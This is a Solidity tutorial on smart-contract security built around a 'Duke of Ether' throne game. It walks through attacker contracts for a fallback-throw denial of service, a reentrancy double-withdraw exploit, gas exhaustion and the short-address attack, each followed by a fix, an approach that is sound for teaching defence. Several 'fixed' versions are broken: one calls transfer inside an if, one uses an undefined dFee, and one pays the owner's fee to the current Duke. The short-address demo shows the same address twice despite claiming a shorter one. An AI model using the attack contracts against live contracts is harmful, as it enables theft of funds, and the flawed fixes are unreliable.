Ethereum Tutorials

SMART CONTRACTS

Baby Hacker's Guide

Why study hacking?

The answer is kind of obvious: if you know how to look for vulnerabilities in contracts, then you have a chance to fix them before they are exploited by someone else. Contracts in the Ethereum network are constantly being studied by hackers, and whenever the flaw is found, money is gone.

It is a good idea to drop our view of the software security completely when it comes to contracts. If you write a computer program and it fails, the user curses and restarts it, and that's all. Even if you write the software for a bank, and it is hacked, police will investigate the crime and insurance company will compensate your losses. Also, it does not happen very often. Also also, your software is protected by the password and firewall.

In the same time, contracts in the block chain are exposed, including their code, to anyone; no firewalls, no passwords. Input and output transactions are exposed, too: any one can see them. It is even possible - and it is being done right as you read this book - to write automatic scanning software to traverse the entire block chain looking for vulnerable contracts. So, if the problem exists, it will be found. Well, most likely.

You better be the one who found it.

Building a simple Attacker contract.

Let's create an Attacker contract in Account3 (in Mist, create the third account). The first version is not malicious, it simply transfers funds, so the contract becomes a "Duke".

contract Attacker_01 
{
	function Attacker_01() { }

	// ---

	function() payable { }

	function becomeDuke(address addrDuke) payable
	{
		addrDuke.transfer(msg.value);
	}
}

Deploy this contract using Mist, for an Account3. Note that we now have 3 accounts: one for mining, one for Duke and one for launching attacks. Before deploying, transfer some funds (say, 10 Ether) to Attacker's account from mining account.

Same way as above, get contract's ABI from Mist, and create variables in geth console (paste your own contract's address instead of mine):

var abi_attacker = [ { "constant": false, "inputs": [ { "name": "addrDuke", "type": "address" } ], 
	"name": "becomeDuke", "outputs": [], "payable": true, "type": "function" }, 
	{ "inputs": [], "payable": false, "type": "constructor" }, { "payable": true, "type": "fallback" } ]
var Attacker=eth.contract(abi_attacker)
var attack = Attacker.at("0xD01efC26082F5122EDF93C15253956dE51979469")

Ask Duke contract about the next min. payment:

contract.getMinNextBet()

Call Attacker.becomeDuke() by sending it the corresponding amount from Mist. Do not forget to put Duke contract's address in the form, provided by Mist, or your money will be lost. Nothing happens! Mist rejects the transaction. This is because Duke's constructor is not payable: it can not receive money! And as for Duke's "becomeDuke" function, it is not where we tried to send funds. Let's repeat: Attacker's becomeDuke() function sends money to Duke's address, but not to Duke's "becomeDuke" function.

The little demonstration above was necessary in order to show you the importance of "payable" modifier, placed in the wrong function it can create a backdoor in otherwise solid contract. I will return to it later.

Fixed code:

pragma solidity ^0.4.11;

contract Attacker_01 
{
	function Attacker_01() { }

	// ---

	function() payable { }

	function becomeDuke(address addrDuke) payable
	{
		if(!addrDuke.call.gas(2000000).value(msg.value)(bytes4(sha3("becomeDuke()"))))
		    throw;
	}
}

The "gas" supplied to the transaction above may or may not be necessary, here is what the current situation with gas looks like:
a) The "call" function takes gas as you supply it.
b) The "send" function takes small fixed amount of gas (which was done as a defence against some kinds of attacks).
c) The "transfer" function takes small amount of gas, but you can overwrite it by supplying explicit max. gas amount:

address.transfer.gas(120000)(1 ether)

If too much gas is provided, the excess gas is converted to ether and refunded. If too few gas is specified, all the specified gas is transfered to the miner and the transaction is reverted: just like the contract was never called.

From Mist, go to Contracts - Attacker, select "Pick a function - becomeDuke" and send it some money. The amount can be determined by calling Duke's getNextMinBet() from geth, or by looking up same data at Duke's page in Mist (getNextMinBet is a constant function, therefore, Mist shows it on the contract's page, so you do not have to call it). Any funds we send to Attacker's "becomeDuke()" function are automatically transfered to Duke's becomeDuke(), and after the call is completed, you can see Attacker_01 as a current Duke.

Let's make an Account2 the Duke (Just to repeat: you can do the same thing by calling same functions from Mist, it is easier, less error prone and usually, faster):

> contract.getMinNexBet()
1100000000000000000

Note that the amount is in Wei, to get ether, divide by 10^18 (yes, 1 and 18 zeros). The 1100000000000000000 above stands for 1.1 ether: before we transfered 1 ether, and if you look in the Duke contract above, the next bet should be 10% higher:

function getMinNextBet() constant returns (uint nNextBet) { return  11 * m_nCurrentKingPaid / 10; }

Transfer 1.1 ether from Account 2 to Duke contract, this time using Mist. Now we can see (in Mist - Duke contract's page) that Account2 is the new Duke, and Attacker contract's balance is 11.1 ether, which means the money were returned to the previous Duke, as expected.

Launching an attack

Let's hack the system! Here is the becomeDuke() function of the Duke contract:

function becomeDuke() payable
{
	if(msg.value < 11 * m_nCurrentDukePaid / 10)
		throw;

	m_addrCurrentDuke.transfer(msg.value);

	m_addrCurrentDuke = msg.sender;
	m_nCurrentDukePaid = msg.value;
}

Let's say our Attacker contract (or some other account, as long as it belongs to us) is currently a Duke. What happens if the function fails right after the line m_addrCurrentDuke.transfer(msg.value) ? We will get new Duke's money, but keep the throne as well, right? How can we make it fail?

Here is the trick: as the "transfer" from OTHER (Duke in this case) contract is called for us (an Attacker), OUR unnamed function is being called.

An unnamed function (if present) looks like, well, having no name: function() payable {...}

The reason this function was introduced in Solidity, is for us to be able to handle post processing for transfers, like logs, book keeping and so on.Yet, we can do more. For example, we can make:

pragma solidity ^0.4.11;

contract Attacker_02 
{
	function Attacker_02() { }

	// ---

	function() payable 
	{ 
		throw;
	}

	function becomeDuke(address addrDuke) payable
	{
		if(!addrDuke.call.value(msg.value)(bytes4(sha3("becomeDuke()"))))
		    throw;
	}
}

Our "Duke" contract expects the next bet to be no less than 1.2111 ether.

				
> contract.getMinNexBet()
> 1211100000000000000

Let's transfer this amount from Attacker_02 contract using Mist. Result: Attacker_02 becomes a Duke, as expected.

Now let's make Account2 the next Duke. As the Duke tries sending Attacker its refund, it will result in a call to our "throw" in an unnamed function. Here is a problem: Attacker's fallback function wouldn't let us to do anything, as lines of code

m_addrCurrentDuke = msg.sender;
m_nCurrentDukePaid = msg.value;

... will never be called. This Attacker contract does not give us any profit, instead, it locks the Duke contract: any attempt to set a new Duke will fail, and the game will stop.

Fixing the Exception Disorder vulnerability

As we can see, the malicious contract can block our little business. To protect ourselves against this sort of problems, we may want to provide a call that will not fail completely if the malicious contract throws an exception (this attack is called exception disorder). Here is how to do it (the theory):

In Solidity there are several situations where an exception can be raised:
(i) if the execution runs out of gas;
(ii) if the call stack reaches its limit (fixed in new versions of compiler);
(iii) if the "throw" command is executed.

To make things even more interesting, Solidity can handle exceptions in two different ways:

1.

				
contract A 
{ 
	function one(uint) returns (uint) 
}

contract B 
{ 
	uint x=0; 
	function two(address a)
	{ 
		x=1; 
		a.one(11); 
		x=2; 
	} 
}

In this case, if a() throws an exception, the execution stops, and the WHOLE transaction reverts as if it never happened (except, of course, you still pay for gas).

2. Same A, but B invokes A.a() via a call() or (which is even worse from security point of view) a delegatecall():

				
contract A 
{ 
	function one(uint) returns (uint) 
}

contract B 
{ 
	uint x=0; 
	function two(A a)
	{ 
		x=1; 
		a.call.value(msg.value)();
		x=2; 
	}
}

In this case results of call() are reverted, the call returns false, and the execution continues. Therefore, x contains 2 after the transaction (that otherwise failed).

In other words, the exception propagates along the chain of calls, reverting every change, until it reaches a call. Then the execution is resumed, with the call returning false

To fix the problem, let's replace call() with something more practical:

pragma solidity ^0.4.11;

contract DukeOfEther 
{
	address public m_addrCurrentDuke;
	uint public m_nCurrentDukePaid;			// Cost current Duke paid in finney
	address public m_addrOwner;

	function DukeOfEther()
	{
		m_addrOwner = msg.sender;
	}

	// ---

	function becomeDuke() payable
	{
		if(msg.value < 11 * m_nCurrentDukePaid / 10)
			throw;

		if(m_addrCurrentDuke.call.value(msg.value)())
        {
    		m_addrCurrentDuke = msg.sender;
	    	m_nCurrentDukePaid = msg.value;
        }
	}
	
	// ---
	
	function isOwner() constant returns (bool bIsOwner) { return (m_addrOwner == msg.sender); }
	function isDuke() constant returns (bool bIsDuke) { return (m_addrCurrentDuke == msg.sender); }
	function getMinNextBet() constant returns (uint nNextBet) { return  11 * m_nCurrentDukePaid / 10; }
	
	// ---
	
	function terminate()
	{
		// Send money back to the current Duke. To be used when we need to update code.
		if (msg.sender == m_addrOwner) 
			selfdestruct(m_addrCurrentDuke);
	}
}

To test this contract, send some money (1 ether) from Attacker_02 (using Mist is the easy way) to Duke. In Mist, copy Duke contract's address, then go to Attacker's page (Contracts - Attacker_02), pick a function "becomeDuke", set "to" address to Duke contract's one, and use Account 3 (owner of Attacker) as a source of money.

To find the amount you need to transfer, look up the Duke's nextMinBet() info (in Mist or in geth, as described earlier). Now in Mist, in Duke's page, you see Attacker2 as a Duke. What happens if we try make a new Duke?

In Mist, send a min. next bet to Duke contract from Account 2. We see Account2 balance decreasing, but the Attacker2 is still a Duke. It happens because the

					
if(m_addrCurrentDuke.call.value(msg.value)())

fails, so the Duke is not updated. As for the lost funds, they are forever stuck in Duke contract's account - non-retrievable, period. Well, unless we hack it. Anyway, the trick didn't work: the exception in Attacker contract was handled, this time by "if" statement.

The next thing that come to mind is to drop the "if" verification. After all, if the Attacker contract screws things up, it does not deserve being paid, but let's not ruin the game for other players. Let's try this:

pragma solidity ^0.4.11;

contract DukeOfEther_05 
{
	address public m_addrCurrentDuke;
	uint public m_nCurrentDukePaid;			// Cost current Duke paid in finney
	address public m_addrOwner;

	function DukeOfEther_05()
	{
		m_addrOwner = msg.sender;
	}

	// ---

	function becomeDuke() payable
	{
		if(msg.value < 11 * m_nCurrentDukePaid / 10)
			throw;

		if(m_addrCurrentDuke.call.value(msg.value)())
		{
		    m_addrCurrentDuke = msg.sender;
		    m_nCurrentDukePaid = msg.value;
		}
		else
		{
		    m_addrCurrentDuke = msg.sender;
		    m_nCurrentDukePaid = msg.value;
		}
	}
	
	// ---
	
	function isOwner() constant returns (bool bIsOwner) { return (m_addrOwner == msg.sender); }
	function isDuke() constant returns (bool bIsDuke) { return (m_addrCurrentDuke == msg.sender); }
	function getMinNextBet() constant returns (uint nNextBet) { return  11 * m_nCurrentDukePaid / 10; }
	
	// ---
	
	function terminate()
	{
		// Send money back to the current Duke. To be used when we need to update code.
		if (msg.sender == m_addrOwner) 
			selfdestruct(m_addrCurrentDuke);
	}
}

Note an odd construct:

if(m_addrCurrentDuke.call.value(msg.value)())
{
    m_addrCurrentDuke = msg.sender;
    m_nCurrentDukePaid = msg.value;
}
else
{
    m_addrCurrentDuke = msg.sender;
    m_nCurrentDukePaid = msg.value;
}

The Solidity compiler demands that the return value of call() is checked, probably due to bugs that can arise from it (and let's be clear on it: assigning a new Duke without making sure the old one got paid IS a bug).

As before, make Attacker2 a Duke, then overthrow it by making Account2 the Duke. Now it works: Account 2 becomes a Duke, while Attacker gets no refund (obviously). The only question remaining is: where the money went? When we bring up a new Duke, the money (1.1 ether) go to the previous Duke. But the Attacker throws an exception, so the money are on the Duke account. As a nice side effect, the next Duke will get it.

This approach is fine for the home made "Game of Thrones", but we can not write commercial contract with "it is your fault, so say good buy to your money" attitude. So the real contract should handle cases like that, for example, by asking a Duke-to-be for an extra address that is not an address of a contract. Then if something goes wrong, we can send a refund there.

Let's hack it again!

A very popular vulnerability we now have uses a "feature" of Solidity memory organization. When we pass data, together with money, it is stored in memory just like this: 20 bytes long address - amount - whatever else. If an attacker has an address that ends with 00, which is possible to obtain just by deploying a contract about 256 times, then he can omit zeroes. The address will still be correct, but the amount following it will get bit-shifted, increasing 256 times. So what if we send 1 ether, while tricking the contract into believing it was 256?
a) 1 ether arrives.
b) It passes the if(msg.value < 11 * m_nCurrentDukePaid / 10) verivication
c) m_addrCurrentDuke.call.value(msg.value)() fails as the contract does not have enough money.
d) As we ignore the results of verification, the next Duke (an attacker) has 256 times more balance then he actually sent.

How to perform an attack? If we were real hackers, we would have to create a contract with an address having 00 at the end. But as we only want to see a "proof of concept", let's not do it. After all, all we need is to see Duke contract being tricked, and we don't care by whom.

However, for the attack to succeed, some conditions should be met. In transfer(address _to, uint256 _value), the transfer() is called by the victim's contract, so we need to somehow give it the short address, and it can not be done by simply transfering money, because during transfer, the address_to is Duke's address, not ours.

To perform a short address attack, we need to do an impossible: to make Duke overwrite the sender address. Strange enough, this condition can be met. For example, say, you run a multi client wallet, and you provide a client with a nice feature, allowing to specify a withdrawal address. Sounds familiar? Let me quote from above: "So the real contract should handle cases like that, for example, by asking a Duke-to-be for an extra address that is not an address of a contract." Here we go: a vulnerability.

First of all, let's say we have implemented a nice feature of providing an emergency exit address. Lots of services do that.

contract DukeOfEther_05 
{
	address public m_addrCurrentDuke;

	uint public m_nCurrentDukePaid;			// Cost current Duke paid in finney
	address public m_addrOwner;

	function DukeOfEther_05()
	{
		m_addrOwner = msg.sender;
	}

	// ---

	function becomeDuke() payable
	{
		if(msg.value < 11 * m_nCurrentDukePaid / 10)
			throw;

		if(m_addrCurrentDuke.call.value(msg.value)())
		{
		    m_addrCurrentDuke = msg.sender;
		    m_nCurrentDukePaid = msg.value;
		}
		else
		{
		    m_addrCurrentDuke = msg.sender;
		    m_nCurrentDukePaid = msg.value;
		}
	}
	
	// ---
	
	function isOwner() constant returns (bool bIsOwner) { return (m_addrOwner == msg.sender); }
	function isDuke() constant returns (bool bIsDuke) { return (m_addrCurrentDuke == msg.sender); }
	function getMinNextBet() constant returns (uint nNextBet) { return  11 * m_nCurrentDukePaid / 10; }

	function getDuke() constant returns (address addr) { return  m_addrCurrentDuke; }
	function getSender() constant returns (address addr) { return  msg.sender; }

	
	// ---
	
	function provideAlternativeAddress(address addr) 
	{
		if(msg.sender == m_addrCurrentDuke)
			m_addrCurrentDuke = addr;
	}
}

To test it, we can not use Mist, as it has a built-in check for address length. So we use geth (in the "real life" one can find a Web UI that does not do a proper check on address length, or we can use Geth as we do now):

> var abi=[ { "constant": true, "inputs": [], "name": "getMinNextBet", "outputs": 
	[ { "name": "nNextBet", "type": "uint256", "value": "1100000000000000000" } ],
	"payable": false, "type": "function" }, { "constant": true, "inputs": [], 
	"name": "m_nCurrentDukePaid", "outputs": [ { "name": "", "type": "uint256", "value":
	"1000000000000000000" } ], "payable": false, "type": "function" }, 
	{ "constant": false, "inputs": [], "name": "becomeDuke", "outputs": [], "payable": true, 
	"type": "function" }, { "constant": false, "inputs": [ { "name": "addr", "type": "address" } ], 
	"name": "provideAlternativeAddress", "outputs": [], "payable": false, "type": "function" }, 
	{ "constant": true, "inputs": [], "name": "isOwner", "outputs": 
	[ { "name": "bIsOwner", "type": "bool", "value": false } ], "payable": false, "type": 
	"function" }, { "constant": true, "inputs": [], "name": "m_addrCurrentDuke", "outputs": 
	[ { "name": "", "type": "address", "value": "0xcde046e4e664ee2bb2c84f87b02f813dc3d9ea5a" } ], 
	"payable": false, "type": "function" }, { "constant": true, "inputs": [], "name": "isDuke", 
	"outputs": [ { "name": "bIsDuke", "type": "bool", "value": false } ], "payable": false, 
	"type": "function" }, { "constant": true, "inputs": [], "name": "m_addrOwner", 
	"outputs": [ { "name": "", "type": "address", "value": "0x6a81c8ad552f05a4952aef0b801ec9e1ee431062" } ],
	"payable": false, "type": "function" }, { "inputs": [], "payable": false, "type": "constructor" } ]

> var Duke = eth.contract(abi)
> var contract = Duke.at("0x7EA56DDC45Da69505A9f9bC7c52A92e9dDA1eA38")

> web3.eth.defaultAccount = eth.accounts[2]
> "0xcde046e4e664ee2bb2c84f87b02f813dc3d9ea5a"

(this is an address of an Account 3 that is currently a Duke)

> personal.unlockAccount(eth.accounts[2], "password", 3000)

> contract.provideAlternativeAddress("0xcde046e4e664ee2bb2c84f87b02f813dc3d9ea5a")
> "0xccffecc0451009f8531705df832285890c8518f13b160c64abf15331862a7a26"
(Assigning the same address worked fine)

> contract.provideAlternativeAddress("0xcde046e4e664ee2bb2c84f87b02f813dc3d9ea5a")
> "0xccffecc0451009f8531705df832285890c8518f13b160c64abf15331862a7a26"
(Assigning a bogus address that is shorter works fine, too)

> contract.isDuke();
> false
(Important: miner should be on!)

As you can see, it is possible to assign a value to an address, that is shorter than required. However, in our version of Duke, it is of no use: to get more money from the contract we need it to HAVE the money on the first place, while our contract does not store other peoples' money - lucky us. If the contract had funds of other people, on the same contract address, we would probably be able to steal it. We'll return to this vulnerability later on.

A little check list

At this point we have a rather reliable Duke contract. Let's run a checklist:

a) Call to the unknown, the vulnerability related to the other side's fallback function. We handled (by keeping offender's money) the case when it throws an exception. There are very few other things it can do in our contract, and they are rather safe.

b) Exception disorder. Not really an attack, but definitely something to keep in mind. The exception reverts all changes in the sequence of calls (ones that eventually led us to an exception), but only as far as it does not bump in a "call". We used this fact in our

if(m_addrCurrentDuke.call.value(msg.value)())
{
    m_addrCurrentDuke = msg.sender;
    m_nCurrentDukePaid = msg.value;
}

to make sure the code executes even if fallback function fails with an exception.

c) Gaseless send. Another thing to check, but as we have no "send", we are safe. "send" uses fixed amount of gas and we can run out of it.

Now, take a look at

m_addrCurrentDuke.call.value(msg.value)()

What if the other side's fallback function runs out of gas?

Well, first of all, the situation with send() was fixed in Ethereum, now it fails, instead of throwing an exception, and it only uses that much of gas. As you can see, in our code a different approach is used, we involve address.call.value(); Unlike send(), call() does forward gas.

However, a malitious contract can do something like this:

contract Gas_Loop 
{
    function() 
	{
        for(uint i = 0; i < 10000; i+=1) 
		{
            out_i = i;
        }
    }
    uint public out_i;
}

This will burn pretty much all gas we can provide - and fail, together with the rest of the code. A solution is to change that line to address.gas(20000).value(1).call()(); - that specifies the maximum amount of gas we are willing to forward to a (potentially malicious) other side.

d) Typecasts. Briefly, Solidity will check if the function you are calling, exists, but it doesn't verify types of data it expects. And if a mismatch occures, a fallback function is called. In our case, not a problem.

e) Reentrancy.

function getBalance(address user) constant returns(uint) 
{  
	return userBalances[user];
}

function addToBalance() 
{  
	userBalances[msg.sender] += msg.amount;
}

function withdrawBalance() 
{  
	amountToWithdraw = userBalances[msg.sender];
	if (!(msg.sender.call.value(amountToWithdraw)())) 
	{ 
		throw; 
	}
	userBalances[msg.sender] = 0;
}

Here's the problem: msg.sender might have a default function that looks like this:

function () 
{  
	// To be called by a vulnerable contract with a withdraw function.
	// This will double withdraw.

	vulnerableContract v;
	uint times;
	if (times == 0 && attackModeIsOn) 
	{
		times = 1;
		v.withdraw();
	} 
	else 
	{ 
		times = 0; 
	}
}

Not our case: we do not have more money then we are supposed to send. But if we had, we should have considered making userBalances[msg.sender] = 0; BEFORE sending money. This is a common practice, as that sort of attack is very popular.

Adding comission

Note: This still is not a final version of a contract!

At this point we can probably deploy the contract, except it does not use the owner's address, in other words, it will bring profit to everyone but us. Let's fix this unfortunate glitch:

contract DukeOfEther_06 
{
	address public m_addrCurrentDuke;
	uint public m_nCurrentDukePaid;			// Cost current Duke paid in finney
	address public m_addrOwner;

	function DukeOfEther_06()
	{
		m_addrOwner = msg.sender;
	}

	// ---

	function becomeDuke() payable
	{
		if(msg.value < 12 * m_nCurrentDukePaid / 10)
			throw;

		var dFee = msg.value / 25;
		if(m_addrOwner.call.value(dFee)())	// Take 4%
		{
			if(m_addrCurrentDuke.call.value(msg.value - dFee)())
			{
				m_addrCurrentDuke = msg.sender;
		    		m_nCurrentDukePaid = msg.value;
			}
			else
			{
		    		m_addrCurrentDuke = msg.sender;
		    		m_nCurrentDukePaid = msg.value;
			}
		}
	}
	
	// ---
	
	function isOwner() constant returns (bool bIsOwner) { return (m_addrOwner == msg.sender); }
	function isDuke() constant returns (bool bIsDuke) { return (m_addrCurrentDuke == msg.sender); }
	function getMinNextBet() constant returns (uint nNextBet) { return  11 * m_nCurrentDukePaid / 10; }

	function getDuke() constant returns (address addr) { return  m_addrCurrentDuke; }
	function getSender() constant returns (address addr) { return  msg.sender; }

	function terminate()
	{
		// Send money back to the current Duke. To be used when we need to update code.
		if (msg.sender == m_addrOwner) 
			selfdestruct(m_addrCurrentDuke);
	}
}

Note that provideAlternativeAddress() is no longer there.

Looks good, but it isn't. See, in a "normal" word, software is used as designed, and if you try opening EXE file in a text editor - it is your problem. While in financial programming, we need to proactively look for ways to abuse the software, in order to fix it. What ELSE will make our customers unhappy?

The terminate()

If you, as an owner, call terminate(), the current Duke gets NOTHING, as our contract doesn't keep any money. More than that. If a malitious contract attacks us as described above, its coins will get stuck in Duke contract's account. And by calling "terminate", the owner will get those, therefore, here is the owner's motive.

To calm down our clients, let's rewrite the function:

function terminate()
{
	// Send money back to the current Duke. To be used when we need to update code.
	if (msg.sender == m_addrOwner && msg.sender == m_addrCurrentDuke) 
		selfdestruct(m_addrCurrentDuke);
}

Now to close the contract, the owner has to pay to the current Duke. Why would the owner want to do so? No reason except for being nice. So we better remove the self-destruct code alltogether.

Another way of performing the same task

If you search for "King of Ether", you will find out that for some reasons, our version of Duke is considered primitive. Most likely, you will find the following implementation instead:

contract DukeOfEther_07 
{
	mapping (address => uint) pendingWithdrawals;	// If the former Duke wants her money, she needs to claim it.
	
	address public m_addrCurrentDuke;
	uint public m_nCurrentDukePaid;			// Cost current Duke paid in finney
	address public m_addrOwner;

	function DukeOfEther_07()
	{
		m_addrOwner = msg.sender;
	}

	// ---

	function becomeDuke() payable
	{
		if(msg.value < 11 * m_nCurrentDukePaid / 10)
			throw;

		pendingWithdrawals[m_addrCurrentDuke] += msg.value;

		m_addrCurrentDuke = msg.sender;
		m_nCurrentDukePaid = msg.value;
	}
	
	// ---

	function withdraw() 
	{
		uint amount = pendingWithdrawals[msg.sender];

		if (!(msg.sender.call.value(amount)())) 
			throw;

		// Remember to zero the pending refund before sending to prevent re-entrancy attacks
		pendingWithdrawals[msg.sender] = 0;
    	}
	
	// ---

	function isOwner() constant returns (bool bIsOwner) { return (m_addrOwner == msg.sender); }
	function isDuke() constant returns (bool bIsDuke) { return (m_addrCurrentDuke == msg.sender); }
	function getMinNextBet() constant returns (uint nNextBet) { return  11 * m_nCurrentDukePaid / 10; }
	
	// ---
}

What it does? It simply replaces the "send" pattern, when WE send money to clients, with the "withdraw" pattern, when the client asks for a transaction (and pays for gas, and takes responsibility for failures).

In the code, the only important change is using the

mapping (address => uint) pendingWithdrawals;	// If the former Duke wants her money, she needs to claim it.

The mapping holds our "accounting book", specifying which address is eligible to what payment. When a new Duke arrives, we do not send money to the old Duke, instead, we make a record, specifying that the ex-Duke is eligible to the payment. It is up to an old Duke to request payment though. As the result, our contract holds money, which makes it an interesting target for hackers' attacks, on the other hand, some attacks are now impossible even in theory.

Can we break it?

First of all, let's try repeating what we did before - throw an exception. The withdraw() function does not check the result of a transfer() operation. To break it, we can use the modified Attacker contract.

A bit of theory: to call function of a contract from another contract, we now use

contract_address.call(bytes4(sha3("function_name(types)")),parameters_values)

where parameters are available in contract's ABI. As in our case Duke's withdraw() has no arguments, we end up with

contrac_A.call(bytes4(sha3("f()"))

Another way of doing the same thing is to get an actual contract from an address, and to call its function(s) directly:

// This doesn't have to match the real contract name.
contract A 
{ 
	// No implementation, just the function signature. 
	// This is just so Solidity can figure out how to call it.
	function f1(bool arg1, uint arg2) returns(uint); 
}

contract C 
{
	function f(address addressOfA) returns(uint) 
	{
		A a = A(addressOfA);
		return a.f1(true, 3);
	}
}

In our hacking attempts, we are going to use the first approach:

pragma solidity ^0.4.11;

contract Attacker_03 
{
	function Attacker_03() { }

	// ---

	function() payable 
	{ 
		throw;
	}

	function becomeDuke(address addrDuke) payable
	{
		if(!addrDuke.call.value(msg.value)(bytes4(sha3("becomeDuke()"))))
		    throw;
	}

	function withdraw(address addrDuke)
	{
		if(!addrDuke.call(bytes4(sha3("withdraw()"))))
		    return;
	}
}

As before, we chose to ignore the return value of the function call.

Do the following from Mist: as before, make one of Accounts (say, account 1) the Duke. It works fine. Then make Attacker_03 the Duke by calling its becomeDuke(). It works, too.

Now, call the Attacker_03 withdraw() and provide it an address of the Duke contract. It doesn't work, the money are still at Duke's side.

However, if we try making, say, Account2 the Duke, it works. As you can see, our hack "works" in a very inconvenient (for the hacker) way: the Account_03 does not have access to its money, which is now stuck in the contract. It means our current Duke contract is resistant to at least that sort of attack.

Note that I changed the transfer() to call() in the withdraw function. It is a REALLY bad idea, and I did it only to demonstrate a vulnerability.

Another vulnerability

There is an error in Duke's withdraw() function, that may allow us to get to these money - and the rest of it as well. See, we called transfer() before we set the balance to zero. This opens our contract to so-called reentrancy attack.

function withdraw() 
{
	uint amount = pendingWithdrawals[msg.sender];

	msg.sender.transfer(amount);
	if (!(msg.sender.call.value(amount)())) 
		throw;

	// Remember to zero the pending refund before sending to prevent re-entrancy attacks
	pendingWithdrawals[msg.sender] = 0;
}

To explore the vulnerability, let's use the following contract:

pragma solidity ^0.4.11;

contract Attacker_04 
{
	uint m_times;

	function Attacker_04() { }

	// ---

	function () payable
	{  
  		if (m_times == 0) 
		{
			m_times = 1;
			if(!msg.sender.call(bytes4(sha3("withdraw()"))))
				return;

		} 
		else 
			m_times = 0;
	}

	// ---

	function becomeDuke(address addrDuke) payable
	{
		if(!addrDuke.call.value(msg.value)(bytes4(sha3("becomeDuke()"))))
		    throw;
	}

	function withdraw(address addrDuke)
	{
		m_times = 0;
		if(!addrDuke.call(bytes4(sha3("withdraw()"))))
		    return;
	}
}

It doesn't work! The reason is, we are trying to get our money - which works, then we are trying to get same amount again, but there is not enough coins on an account, transfer fails and ALL transactions are being rolled back. What we can do is to wait for someone else to become the Duke (we are still in a withdraw list). When it happens, an amount goes up, and we have enough money for two transfers.

The logic:

1. Attacker transfers to Duke 1.0 ether
2. Account 1 transfers 1.1 ether to become Duke: Attacker moves to the to-be-paid list with the amount due 1.1 ether.
3. If at this point we try to withdraw(), we'll request 2x1.1 ether, and receive only first of two transactions, as Duke does not have money to perform the second one.
4. So we wait for another Duke to take the throne: Account2 becomes a Duke bringing 1.21 ether (and we hope Account 1 does not withdraw, or we will have to wait even longer!)
5. Now the pot has 1+1.1 + 1.21 = 2.31 ether and we can request our 1.1x2 = 2.2 ether.

The lesson is to avoid using call() where you can use send() or transfer(), as their amount of gas is fixed and insufficient for the second iteration. If it is not possible, change the state variables FIRST and only then transfer money.

Fixed version:

contract DukeOfEther_08 
{
	mapping (address => uint) pendingWithdrawals;	// If the former Duke wants her money, she needs to claim it.
	
	address public m_addrCurrentDuke;
	uint public m_nCurrentDukePaid;			// Cost current Duke paid in finney
	address public m_addrOwner;

	function DukeOfEther_08()
	{
		m_addrOwner = msg.sender;
	}

	// ---

	function becomeDuke() payable
	{
		if(msg.value < 11 * m_nCurrentDukePaid / 10)
			throw;

		pendingWithdrawals[m_addrCurrentDuke] += msg.value;

		m_addrCurrentDuke = msg.sender;
		m_nCurrentDukePaid = msg.value;
	}
	
	// ---

	function withdraw() 
	{
		uint amount = pendingWithdrawals[msg.sender];

		// Remember to zero the pending refund before sending to prevent re-entrancy attacks
		pendingWithdrawals[msg.sender] = 0;

		if (!(msg.sender.transfer(amount)())) 
			throw;
    	}
	
	// ---

	function isOwner() constant returns (bool bIsOwner) { return (m_addrOwner == msg.sender); }
	function isDuke() constant returns (bool bIsDuke) { return (m_addrCurrentDuke == msg.sender); }
	function getMinNextBet() constant returns (uint nNextBet) { return  11 * m_nCurrentDukePaid / 10; }
}

Back to making profit

Earlier, we have addressed getting profit not only by Dukes, but also by ourselves, but then abandoned it for simplicity.

function becomeDuke() payable
{
	if(msg.value < 12 * m_nCurrentDukePaid / 10)
		throw;

	var dFee = msg.value / 25;
	if(m_addrOwner.call.value(dFee)())	// Take 4%
	{
		if(m_addrCurrentDuke.call.value(msg.value - dFee)())
		{
			m_addrCurrentDuke = msg.sender;
	    		m_nCurrentDukePaid = msg.value;
		}
		else
		{
    		m_addrCurrentDuke = msg.sender;
    		m_nCurrentDukePaid = msg.value;
		}
	}
}

However, since then we have changed the overall logic of our app. Therefore, we have the following questions to answer:
a) is our original design any better then the design that uses map of pending payments?
b) how to handle payments to the owner?

a) The implementation (except for ugly and untested owner payments part) should be improved by replacing call() with transfer(). Other than that, it is as sequre as the version using mapping. In the same time, as the contract holds no extra cash, it is less attractive for hackers.

b) Here is the improved version. Note that at least one contract of this kind (Google up 'Rubixi') was reported to be hacked because of just another vulnerability: the developer changed its name but forgot to change the name of a constructor. As name of constructor no longer matched the name of a contract, anyone could call it to become the owner. So pay attention when renaming your contracts.

Again, this is NOT a final version of a contract, it still has problems to be addressed.

contract DukeOfEther_09 
{
	address public m_addrCurrentDuke;
	uint public m_nCurrentDukePaid;			// Cost current Duke paid in finney
	address public m_addrOwner;
	uint m_nOwnersFee;				// Cumulative payment to the owner

	function DukeOfEther_09()
	{
		m_addrOwner = msg.sender;
	}

	// ---

	function becomeDuke() payable
	{
		if(msg.value < 11 * m_nCurrentDukePaid / 10)
			throw;

		uint nFee = msg.value / 25;	// 4%
		m_nOwnersFee += nFee;
		if(!m_addrCurrentDuke.transfer(msg.value - dFee))
		{
			m_addrCurrentDuke = msg.sender;
	    		m_nCurrentDukePaid = msg.value;
		}
	}
	
	// ---
	
	function isOwner() constant returns (bool bIsOwner) { return (m_addrOwner == msg.sender); }
	function isDuke() constant returns (bool bIsDuke) { return (m_addrCurrentDuke == msg.sender); }
	function getMinNextBet() constant returns (uint nNextBet) { return  11 * m_nCurrentDukePaid / 10; }

	function withdrawOwnersFee(uint nFee)
	{
		// Withdraw owner's share.
		if (msg.sender == m_addrOwner) 
		{
			if(m_addrOwner.transfer(dFee))
				m_nOwnersFee -= dFee;
		}
	}
}

This contract is not honest!

The contract now can now hold money, but only for the owner to be able to get them in relatively large chunks, rather than in small chunks every time the next Duke kicks off his predecessor. We store the amount in m_nOwnersFee for a reason: what if the situation described in earlier happens and some amount of ex-Duke's money gets stuck? We need to prevent the owner from getting it, or our contract will look suspicious and no one will use it..

That means the DukeOfEther_09 is not safe: the owner can request any amount of money in withdrawOwnersFee(uint nFee). The obvious fix is:

function withdrawOwnersFee(uint nFee)
{
	// Withdraw owner's share.
	if (msg.sender == m_addrOwner && dFee <= m_nOwnersFee) 
	{
		if(m_addrCurrentDuke.transfer(dFee))
			m_nOwnersFee -= dFee;
	}
}

As always, at that point we need to sit back and ask ourselves a question "what else can go wrong?" First, look at address public m_addrOwner; and the rest of classe's data. "public" here is not required and should be eliminated. Not that this particular contract can be hacked over those, but rather as a mater of a habit. If there is something you can close - close it.

Then, look at if(m_addrCurrentDuke.transfer(dFee)) The transfer() throws an exception, so "if" has no meaning.

